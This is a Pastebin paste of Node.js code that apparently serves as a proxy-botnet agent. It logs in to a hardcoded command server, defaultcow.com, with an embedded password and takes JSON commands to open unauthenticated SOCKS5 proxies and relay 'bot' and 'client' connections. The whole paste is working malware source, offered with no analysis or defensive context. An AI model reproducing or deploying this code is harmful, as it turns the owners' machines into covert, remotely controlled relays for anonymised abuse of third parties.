SHARE
TWEET

Untitled

a guest Nov 23rd, 2015 320 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. 'use strict';
  2.  
  3. var net = require('net');
  4.  
  5. var config;
  6. var ServerCon;
  7. var MsgHandler;
  8. var handleServerMsg;
  9. var ConnectionManager;
  10. var Socks5;
  11. var utils;
  12.  
  13. var removeFromArr = function(arr, item)
  14. {
  15.   for (var i = 0; i < arr.length; i++) {
  16.     if (arr[i] === item) {
  17.       arr.splice(i, 1);
  18.       return true;
  19.     }
  20.   }
  21.   return false;
  22. };
  23.  
  24. (function() {
  25.   config = {
  26.     sentinel: '\0',
  27.     serverPort: 58111,
  28.     serverHost: 'defaultcow.com',
  29.     pass: 'L8tTVhsBYvtN08KMm7xd',
  30.     portLow: 49152,
  31.     portHigh: 65535
  32.   };
  33. })();
  34.  
  35. (function() {
  36.   utils = {
  37.     getRandomInt: function(min, max) {
  38.       return Math.floor(Math.random() * (max - min + 1)) + min;
  39.     }
  40.   };
  41.  
  42. })();
  43.  
  44. (function() {
  45.   var states = {
  46.     NEW: 1,
  47.     IDENTIFIER_RECEIVED: 2,
  48.     SUCCESSFULL: 3,
  49.     FAILED: 4
  50.   };
  51.  
  52.   Socks5 = function(clientSock) {
  53.     this._clientSock = clientSock;
  54.     this._destSock = null;
  55.     this._destBuf = new Buffer([]);
  56.  
  57.     this._state = states.NEW;
  58.     this._clientRecData = new Buffer([]);
  59.     this._isFresh = true;
  60.     this._onBusy = function() {};
  61.  
  62.     this._clientSock.on('data', this._onData.bind(this));
  63.     this._clientSock.on('error', this._onError.bind(this));
  64.     this._clientSock.on('end', this._onEnd.bind(this));
  65.     this._clientSock.on('close', this._onEnd.bind(this));
  66.   };
  67.  
  68.   Socks5.prototype = {
  69.     _onDataWhenNew: function() {
  70.       console.log("ondatawhen new");
  71.       if (this._clientRecData.length < 2) {
  72.         return;                 //not enough data
  73.       }
  74.       console.log(this._clientRecData);
  75.       console.log(this._clientRecData[0]);
  76.       var version = this._clientRecData[0];
  77.       if (version !== 5) {
  78.         console.log(version);
  79.         console.log("not5");
  80.         // todo close connection;
  81.         return;
  82.       }
  83.  
  84.       var nMethods = this._clientRecData[1];
  85.       var length = 2 + nMethods;
  86.       if (this._clientRecData.length < length) {
  87.         return;                 // not enough data
  88.       };
  89.  
  90.       // no auth required;
  91.  
  92.       this._clientRecData = this._clientRecData.slice(length);
  93.       var sndbuf = new Buffer([5, 0]); //socks version 5; no auth required
  94.       this._clientSock.write(sndbuf);
  95.       this._state = states.IDENTIFIER_RECEIVED;
  96.     },
  97.  
  98.     _onDataWhenIdentifierReceived: function() {
  99.       var data = this._clientRecData;
  100.       if (data.length < 6) {
  101.         return;                 //not enough data
  102.       }
  103.       var version = data[0];
  104.       if (version !== 5) {
  105.         // todo close connection
  106.         return;                 //invalid version
  107.       }
  108.       var cmd = data[1];
  109.       console.log('data is');
  110.       console.log(data);
  111.       console.log(cmd);
  112.       console.log(cmd === 2);
  113.       console.log(cmd === 1);
  114.       if (cmd !== 1) {
  115.         if (cmd === 2 || cmd === 3) {
  116.           console.log("not implemented..");
  117.           // todo not implemented
  118.         } else {
  119.           console.log("invalid data..");
  120.           // invalid data
  121.         }
  122.         return;
  123.       }
  124.       var msgLen = 6;
  125.       var atyp = data[3];
  126.       var dstIp = null;
  127.       var dstPort = null;
  128.       if (atyp === 1) {         //ipv4
  129.         if (data.length < 10) {
  130.           return;               // not enough data
  131.         }
  132.         console.log('extract ip and port from here');
  133.         dstIp = data[4] + '.' + data[5] + '.' + data[6] + '.' + data[7];
  134.         dstPort = data[8];
  135.         dstPort <<= 8;
  136.         dstPort += data[9];
  137.         console.log(data);
  138.         msgLen += 4;
  139.       } else if (atyp === 3) {
  140.         var nameLen = data[4];
  141.         if (data.length < nameLen + 7) {
  142.           return;               // not enough data;
  143.         }
  144.         console.log('extract name and port from here');
  145.         console.log(data);
  146.         dstIp = data.slice(5, 5 + nameLen);
  147.         dstIp = dstIp.toString();
  148.         dstPort = data[5 + nameLen];
  149.         dstPort <<= 8;
  150.         dstPort += data[6 + nameLen];
  151.         msgLen += nameLen + 1;
  152.       } else if (atyp == 6) {
  153.         console.log('extract ipv6 ip and port from here');
  154.         console.log(data);
  155.         dstIp = data.slice(4, 4 + 16);
  156.         dstPort = data[20];
  157.         dstPort <<= 8;
  158.         dstPort += data[21];
  159.         msgLen += 16;
  160.       }
  161.       this._clientRecData = this._clientRecData.slice(msgLen);      
  162.  
  163.       console.log("connecting to: %s:%d", dstIp, dstPort);
  164.       this._state = states.SUCCESSFULL;
  165.       if (dstIp && dstPort) {
  166.         var me = this;
  167.         this._destSock = net.connect(dstPort, dstIp, function() {
  168.           console.log('connected to dst server');
  169.           // TODO: this hack might speed things up considerebly (?). execute the following lines immediately, not in the callback, as it is now.
  170.           var sndbuf = new Buffer([5, 0, 0, 1, 0, 0, 0, 0, 0, 0]);
  171.           me._clientSock.write(sndbuf);
  172.  
  173.           me._destSock.removeListener('error', onErrr);
  174.  
  175.           me._destSock.on('data', function(data) {
  176.             me._clientSock.write(data);
  177.           });
  178.           me._destSock.on('error', function(err) {
  179.             console.log("destsock err");
  180.             console.log(err);
  181.             me._clientSock.destroy();
  182.           });
  183.           me._destSock.on('end', function() {
  184.             me._clientSock.end();
  185.           });
  186.           me._destSock.on('close', function() {
  187.             me._clientSock.end();
  188.           });
  189.  
  190.         });
  191.         this._destSock.on('error', onErrr);
  192.  
  193.         function onErrr(err) {
  194.           console.log(err);
  195.           this._state = states.FAILED;
  196.           console.log('couldnt connect to dst server');
  197.         }
  198.       }
  199.  
  200.     },
  201.  
  202.     _onDataWhenSuccessfull: function(data) {
  203.       if (this._destSock == null) {
  204.         // not yet connected. save somewhere;
  205.         var me = this;
  206.         this._clientRecData = Buffer.concat([me._clientRecData, data]);
  207.         return;
  208.       }
  209.       if (this._clientRecData.length > 0) {
  210.         var oldData = this._clientRecData;
  211.         console.log("writing: ");
  212.         console.log(oldData);
  213.         this._destSock.write(oldData);
  214.         this._clientRecData = new Buffer([]);
  215.       }
  216.       this._destSock.write(data);
  217.     },
  218.  
  219.     _onDataWhenFailed: function() {
  220.       console.log('not implemented'); //todo close connection
  221.     },
  222.  
  223.     _onData: function(data) {
  224.       if (this._isFresh) {
  225.         this._onBusy();
  226.         this._isFresh = false;
  227.       }
  228.       console.log("ondata");
  229.       console.log(data);
  230.       var me = this;
  231.       console.log(this._state);
  232.       if (this._state == states.NEW) {
  233.         this._clientRecData = Buffer.concat([me._clientRecData, data]);
  234.         this._onDataWhenNew();
  235.         return;
  236.       }
  237.       if (this._state == states.IDENTIFIER_RECEIVED) {
  238.         this._clientRecData = Buffer.concat([me._clientRecData, data]);
  239.         this._onDataWhenIdentifierReceived();
  240.         return;
  241.       }
  242.       if (this._state == states.SUCCESSFULL) {
  243.         this._onDataWhenSuccessfull(data);
  244.         return;
  245.       }
  246.       if (this._state == states.FAILED) {
  247.         this._onDataWhenFailed(data);
  248.         return;
  249.       }
  250.     },
  251.  
  252.     _onError: function(err) {
  253.       console.log(err);
  254.       if (this._isFresh) {
  255.         this._onBusy();
  256.         this._isFresh = false;
  257.       }
  258.     },
  259.  
  260.     _onEnd: function() {
  261.       console.log('end');
  262.       if (this._isFresh) {
  263.         this._onBusy();
  264.         this._isFresh = false;
  265.       }
  266.     },
  267.  
  268.     setOnBusy: function(cb) {
  269.       if (cb) {
  270.         this._onBusy = cb;
  271.       } else {
  272.         this._onBusy = function() {};
  273.       }
  274.     }
  275.  
  276.   };
  277.  
  278. })();
  279.  
  280. (function() {
  281.   ServerCon = function(onMsg) {
  282.     this._socket = null;
  283.     this._connect();
  284.     this._onMsg = onMsg;
  285.     this._recData = '';
  286.   };
  287.  
  288.   ServerCon.prototype = {
  289.     _onConnect: function() {
  290.       this._socket.write(config.pass);
  291.       this._socket.write(config.sentinel);
  292.     },
  293.  
  294.     _onData: function(data) {
  295.       this._recData += data;
  296.       var msgs = extractAllMsgsFrom(this._recData);
  297.       if (msgs.length === 0) {
  298.         // not fully received yet;
  299.         return;
  300.       }
  301.       this._recData = deleteAllMsgsFrom(this._recData);
  302.       for (var i = 0; i < msgs.length; i++) {
  303.         var json;
  304.         try {
  305.           json = JSON.parse(msgs[i]);
  306.         } catch(e) {
  307.           json = null;          //TODO
  308.         }
  309.         this._onMsg(this, json);
  310.       }
  311.     },
  312.  
  313.     _connect: function() {
  314.       console.log("connecting");
  315.       var me = this;
  316.       this._socket = net.connect(config.serverPort, config.serverHost, function(){
  317.         console.log("connected");
  318.         me._onConnect();
  319.       });
  320.  
  321.       this._socket.on('data', function(data){
  322.         me._onData(data.toString());
  323.       });
  324.       this._socket.on('close', function(){
  325.         console.log('close');
  326.       });
  327.       this._socket.on('error', function(err){
  328.         console.log('error');
  329.         throw new Error("Server is gone. so am I"); //todo
  330.         setTimeout(function(){
  331.           me._connect();
  332.         }, 1000);
  333.       });
  334.       this._socket.on('end', function(){
  335.         console.log('end');
  336.         throw new Error("Server is gone. so am I"); //todo
  337.         setTimeout(function(){
  338.           me._connect();
  339.         }, 1000);
  340.       });
  341.       this._socket.on('timeout', function(){
  342.  
  343.       });
  344.  
  345.     },
  346.  
  347.     sendMsg: function(msg) {
  348.       this._socket.write(JSON.stringify(msg));
  349.       this._socket.write(config.sentinel);
  350.     }
  351.   };
  352.  
  353.  
  354.   var extractAllMsgsFrom = function(recData) {
  355.     var arr = [];
  356.     while (true) {
  357.       var split = recData.indexOf(config.sentinel);
  358.       if (split === -1) {
  359.         break;
  360.       }
  361.       var msg = recData.substring(0, split);
  362.       recData = recData.substring(split + 1);
  363.       arr.push(msg);
  364.     }
  365.     return arr;
  366.   };
  367.  
  368.   var deleteAllMsgsFrom = function(recData) {
  369.     var split = recData.lastIndexOf(config.sentinel);
  370.     if (split === -1) {
  371.       console.log("Error");
  372.     }
  373.     return recData.substring(split + 1);
  374.   };
  375.  
  376.  
  377. })();
  378.  
  379. (function() {
  380.   ConnectionManager = function() {
  381.     this._openPorts = [];
  382.   };
  383.  
  384.   ConnectionManager.prototype = {
  385.  
  386.     startListening: function(port, cb) {
  387.       // todo: check if port is already open.
  388.       var me = this;
  389.       var server = net.createServer(undefined);
  390.       server.listen(port, '0.0.0.0', function() {
  391.         me._openPorts.push({
  392.           server: server,
  393.           port: port,
  394.           allowedBot: null,
  395.           freshBotCons: [],
  396.           freshClientCons: [],
  397.           establishedCons: []
  398.         });
  399.         cb();
  400.       });
  401.  
  402.     },
  403.  
  404.     stopListening: function(port, cb) {
  405.       console.log('stoplistening not implemented yet');
  406.     },
  407.  
  408.     _createAttachedProxy: function(attachIp, attachPort, cb) {
  409.       console.log("creating attached proxy: %s:%s", attachIp, attachPort);
  410.       var me = this;
  411.       var socket = net.connect(attachPort, attachIp, function() {
  412.         console.log('attached to %s:%s', attachIp, attachPort);
  413.         socket.removeListener('error', onError);
  414.         var proxy = new Socks5(socket);
  415.         cb(null, attachPort);
  416.         proxy.setOnBusy(function() {
  417.           console.log('busy.. reattaching');
  418.           me._createAttachedProxy(attachIp, attachPort, function() {});
  419.         });
  420.       });
  421.       function onError(err) {
  422.         cb(err);
  423.       };
  424.       socket.on('error', onError);
  425.     },
  426.  
  427.     _createOpenProxy: function(cb) {
  428.       var port = utils.getRandomInt(config.portLow, config.portHigh);
  429.       var server = net.createServer(onConnection);
  430.       server.listen(port, '0.0.0.0', function() {
  431.         cb(null, port);
  432.       });
  433.       server.on('error', function(err) {
  434.         // todo: handle EADDRINUSE
  435.         cb(err);
  436.       });
  437.  
  438.       function onConnection(sock) {
  439.         var proxy = new Socks5(sock);
  440.       }
  441.     },
  442.  
  443.     createProxy: function(attachIp, attachPort, cb) {
  444.       if (attachIp && attachPort) {
  445.         this._createAttachedProxy(attachIp, attachPort, cb);
  446.         return;
  447.       }
  448.       this._createOpenProxy(cb);
  449.     },
  450.  
  451.     attachTo: function(ip, port, cb) {
  452.       // TODO: when 1st connect is successfull but 2nd is not. handle it;
  453.       var me = this;
  454.       var socket = net.connect(port, ip, function() {
  455.         console.log('attached to %s:%s', ip, port);
  456.         cb();
  457.         socket.removeListener('error', onError);
  458.         var proxy = new Socks5(socket);
  459.         proxy.setOnBusy(function() {
  460.           console.log("busy.. reattaching");
  461.           me.attachTo(ip, port, function() {});
  462.         });
  463.       });
  464.  
  465.       function onError(err) {
  466.         cb(err);
  467.       }
  468.  
  469.       socket.on('error', onError);
  470.     },
  471.  
  472.     allowAttachmentFrom: function(remoteIp, cb) {
  473.       var port = utils.getRandomInt(config.portLow, config.portHigh);
  474.       var server = net.createServer(onConnection);
  475.       var me = this;
  476.       var openPort;
  477.       server.listen(port, '0.0.0.0', function() {
  478.         cb(null, port);
  479.         openPort = {
  480.           server: server,
  481.           port: port,
  482.           allowedBot: remoteIp,
  483.           freshBotCons: [],
  484.           freshClientCons: [],
  485.           establishedCons: []
  486.         };
  487.         me._openPorts.push(openPort);
  488.       });
  489.  
  490.       server.on('error', function(err) {
  491.         // todo: handle EADDRINUSE
  492.         cb(err);
  493.       });
  494.  
  495.       function onConnection(sock) {
  496.         me._customOnConnection(openPort, sock);
  497.       }
  498.  
  499.     },
  500.  
  501.     _makePeers: function(peerClient, peerBot) {
  502.       peerClient.on('data', function(data) {
  503.         peerBot.write(data);
  504.       });
  505.       peerClient.on('error', function(err) {
  506.         console.log(err);
  507.         peerBot.destroy();
  508.       });
  509.       peerClient.on('close', function() {
  510.         peerBot.end();
  511.       });
  512.       peerClient.on('end', function() {
  513.         peerBot.end();
  514.       });
  515.       peerBot.on('data', function(data) {
  516.         peerClient.write(data);
  517.       });
  518.       peerBot.on('error', function(err) {
  519.         console.log(err);
  520.         peerClient.destroy();
  521.       });
  522.       peerBot.on('close', function() {
  523.         peerClient.end();
  524.       });
  525.       peerBot.on('end', function() {
  526.         peerClient.end();
  527.       });
  528.     },
  529.  
  530.     _customOnConnection: function(openPort, socket) {
  531.       var peerClient = null;
  532.       var peerBot = null;
  533.       if (socket.remoteAddress === openPort.allowedBot) {
  534.         console.log("bot connected");
  535.         peerBot = socket;
  536.         if (openPort.freshClientCons.length > 0) {
  537.           peerClient = openPort.freshClientCons.pop();
  538.         } else {
  539.           openPort.freshBotCons.push(socket);
  540.         }
  541.       } else {
  542.         console.log("client connected");
  543.         peerClient = socket;
  544.         if (openPort.freshBotCons.length > 0) {
  545.           peerBot = openPort.freshBotCons.pop();
  546.         } else {
  547.           openPort.freshClientCons.push(socket);
  548.         }
  549.       }
  550.  
  551.       var isBot = socket.remoteAddress === openPort.allowedBot;
  552.       console.log('%s === %s ? ', socket.remoteAddress,  openPort.allowedBot);
  553.       function onClose(err) {
  554.         var arr;
  555.         if (isBot) {
  556.           console.log('fresh bot closed');
  557.           arr = openPort.freshBotCons;
  558.         } else {
  559.           console.log('fresh client closed');
  560.           arr = openPort.freshClientCons;
  561.         }
  562.         removeFromArr(arr, socket);
  563.       }
  564.  
  565.       function onErr(err) {
  566.         if (isBot) {
  567.           console.log('fresh bot err');
  568.           removeFromArr(openPort.freshBotCons, socket);
  569.         } else {                //is client
  570.           console.log('fresh client err');
  571.           removeFromArr(openPort.freshClientCons, socket);
  572.         }
  573.         console.log(err);
  574.       }
  575.       socket.on('error', onErr);
  576.       socket.on('close', onClose);
  577.  
  578.       if (peerBot && peerClient) {
  579.         console.log("peers made: %s-%s", peerClient, peerBot);
  580.  
  581.         peerBot.removeListener('error', onErr);
  582.         peerClient.removeListener('error', onErr);
  583.         peerBot.removeListener('close', onClose);
  584.         peerClient.removeListener('close', onClose);
  585.  
  586.         this._makePeers(peerClient, peerBot);
  587.       }
  588.  
  589.       console.log("%s..%s", socket.remoteAddress, openPort.allowedBot);
  590.     },
  591.  
  592.     _findOpenPort: function(port) {
  593.       for (var i = 0; i < this._openPorts.length; i++) {
  594.         if (this._openPorts[i].port == port) {
  595.           return this._openPorts[i];
  596.         }
  597.       }
  598.       return null;
  599.     }
  600.  
  601.   };
  602.  
  603. })();
  604.  
  605. (function() {
  606.   var conManager = new ConnectionManager();
  607.  
  608.   var handleOpenPort = function(server, msgId, port) {
  609.     conManager.startListening(port, function started(err) {
  610.       var msg = {
  611.         id: msgId,
  612.         type: 'openPort',
  613.         port: port
  614.       };
  615.       if (err) {
  616.         console.log(err);       //todo
  617.         msg.success = false;
  618.       } else {
  619.         msg.success = true;
  620.       }
  621.       server.sendMsg(msg);
  622.     });
  623.   };
  624.  
  625.   var handleClosePort = function(server, msgId, port) {
  626.     conManager.stopListening(port, function stoped(err) {
  627.       var msg = {
  628.         id: msgId,
  629.         type: 'closePort',
  630.         port: port
  631.       };
  632.       if (err) {
  633.         console.log(err);
  634.         msg.success = false;
  635.       } else {
  636.         msg.success = true;
  637.       }
  638.       server.sendMsg(msg);
  639.     });
  640.   };
  641.  
  642.   var handleAllowAttachmentFrom = function(server, msgId, remoteIp) {
  643.     conManager.allowAttachmentFrom(remoteIp, function(err, port) {
  644.       var msg = {
  645.         id: msgId,
  646.         type: 'allowAttachmentFrom',
  647.         remoteIp: remoteIp,
  648.         localPort: port
  649.       };
  650.       if (err) {
  651.         console.log(err);       //kind of todo maybe
  652.         msg.success = false;
  653.       } else {
  654.         msg.success = true;
  655.       }
  656.       server.sendMsg(msg);
  657.     });
  658.     //    console.log(msg);
  659.   };
  660.  
  661.   var handleCreateProxy = function(server, msgId, attachIp, attachPort) {
  662.     conManager.createProxy(attachIp, attachPort, function(err, port) {
  663.       if (err) {
  664.         console.log(err);
  665.         server.sendMsg({
  666.           id: msgId,
  667.           type: 'createProxy',
  668.           err: err,
  669.           success: false
  670.         });
  671.         return;
  672.       }
  673.       var msg = {
  674.         id: msgId,
  675.         type: 'createProxy',
  676.         port: port,
  677.         success: true
  678.       };
  679.       server.sendMsg(msg);
  680.     });
  681.   };
  682.  
  683.   var handleAttachTo = function(server, msgId, ip, port) {
  684.     conManager.attachTo(ip, port, function(err) {
  685.       var msg = {
  686.         id: msgId,
  687.         type: 'attachTo',
  688.         port: port,
  689.         ip: ip
  690.       };
  691.       if (err) {
  692.         console.log(err);       //todo
  693.         msg.success = false;
  694.       } else {
  695.         msg.success = true;
  696.       }
  697.       server.sendMsg(msg);
  698.     });
  699.   };
  700.  
  701.   handleServerMsg = function(server, msg) {
  702.     console.log(msg);
  703.     console.log(msg.type);
  704.  
  705.     if (msg.type === 'openPort') {
  706.       handleOpenPort(server, msg.id, msg.port);
  707.     };
  708.     if (msg.type === 'closePort') {
  709.       handleClosePort(server, msg.id, msg.port);
  710.     }
  711.     if (msg.type === 'allowAttachmentFrom') {
  712.       handleAllowAttachmentFrom(server, msg.id, msg.remoteIp);
  713.     }
  714.     if (msg.type === 'attachTo') {
  715.       handleAttachTo(server, msg.id, msg.ip, msg.port);
  716.     }
  717.     if (msg.type === 'createProxy') {
  718.       if (msg.attachTo) {
  719.         handleCreateProxy(server, msg.id, msg.attachTo.ip, msg.attachTo.port);
  720.       } else {
  721.         handleCreateProxy(server, msg.id);
  722.       }
  723.     }
  724.   };
  725.  
  726.  
  727. })();
  728.  
  729. var serverCon = new ServerCon(handleServerMsg);
RAW Paste Data
Top